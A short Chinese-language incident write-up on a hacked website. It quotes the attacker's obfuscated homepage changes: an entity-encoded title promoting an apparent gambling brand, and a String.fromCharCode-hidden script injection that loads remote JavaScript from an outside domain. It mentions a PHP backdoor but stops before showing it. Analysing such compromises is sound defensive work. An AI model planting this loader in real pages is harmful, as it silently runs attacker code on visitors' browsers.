黑客攻击网站，篡改首页问题排查修复

1，修改首页，并植入js

标题通过unicode编码，隐藏了

<title>&#24320;&#20113;&#40;&#20013;&#22269;&#41;&#75;&#97;&#105;&#121;&#117;&#110;&#183;&#23448;

js文件通过String.fromCharCode隐藏起来了

<script type="text/javascript"> var xt = String.fromCharCode(0,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,120,106,115,56,56,50,46,99,111,109,47,121,98,46,106,115,34,62,60, 47,115, 99,114,105,112,116,62); document.write(xt);

2，加入php后门

解码后在实际攻击内容如下